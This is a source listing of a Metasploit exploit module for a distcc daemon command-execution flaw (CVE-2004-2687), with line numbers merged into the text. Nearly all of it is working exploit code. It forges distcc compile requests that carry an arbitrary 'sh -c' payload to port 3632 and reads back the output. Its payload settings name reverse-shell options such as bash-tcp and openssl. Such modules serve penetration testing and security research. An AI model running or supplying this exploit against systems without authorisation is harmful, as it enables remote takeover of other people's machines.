Path: blob/master/modules/exploits/unix/misc/distcc_exec.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'DistCC Daemon Command Execution',15'Description' => %q{16This module uses a documented security weakness to execute17arbitrary commands on any system running distccd.18},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2004-2687'],23[ 'OSVDB', '13378' ],24[ 'URL', 'http://distcc.samba.org/security.html'],2526],27'Platform' => ['unix'],28'Arch' => ARCH_CMD,29'Privileged' => false,30'Payload' => {31'Space' => 1024,32'DisableNops' => true,33'Compat' =>34{35'PayloadType' => 'cmd cmd_bash',36'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',37}38},39'Targets' => [40[ 'Automatic Target', {}]41],42'DefaultTarget' => 0,43'DisclosureDate' => '2002-02-01',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(3632)55]56)57end5859def check60r = rand_text_alphanumeric(10)61connect62sock.put(dist_cmd("sh", "-c", "echo #{r}"))6364dtag = rand_text_alphanumeric(10)65sock.put("DOTI0000000A#{dtag}\n")6667err, out = read_output68if out && out.index(r)69return Exploit::CheckCode::Vulnerable70end7172return Exploit::CheckCode::Safe73end7475def exploit76connect7778distcmd = dist_cmd("sh", "-c", payload.encoded);79sock.put(distcmd)8081dtag = rand_text_alphanumeric(10)82sock.put("DOTI0000000A#{dtag}\n")8384err, out = read_output8586(err || "").split("\n") do |line|87print_status("stderr: #{line}")88end89(out || "").split("\n") do |line|90print_status("stdout: #{line}")91end9293handler94disconnect95end9697def read_output98res = sock.get_once(24, 5)99100if !(res and res.length == 24)101print_status("The remote distccd did not reply to our request")102disconnect103return104end105106# Check STDERR107res = sock.get_once(4, 5)108res = sock.get_once(8, 5)109len = [res].pack("H*").unpack("N")[0]110111return [nil, nil] if not len112113if (len > 0)114err = sock.get_once(len, 5)115end116117# Check STDOUT118res = sock.get_once(4, 5)119res = sock.get_once(8, 5)120len = [res].pack("H*").unpack("N")[0]121122return [err, nil] if not len123124if (len > 0)125out = sock.get_once(len, 5)126end127return [err, out]128end129130# Generate a distccd command131def dist_cmd(*args)132# Convince distccd that this is a compile133args.concat(%w{# -c main.c -o main.o})134135# Set distcc 'magic fairy dust' and argument count136res = "DIST00000001" + sprintf("ARGC%.8x", args.length)137138# Set the command arguments139args.each do |arg|140res << sprintf("ARGV%.8x%s", arg.length, arg)141end142143return res144end145end146147148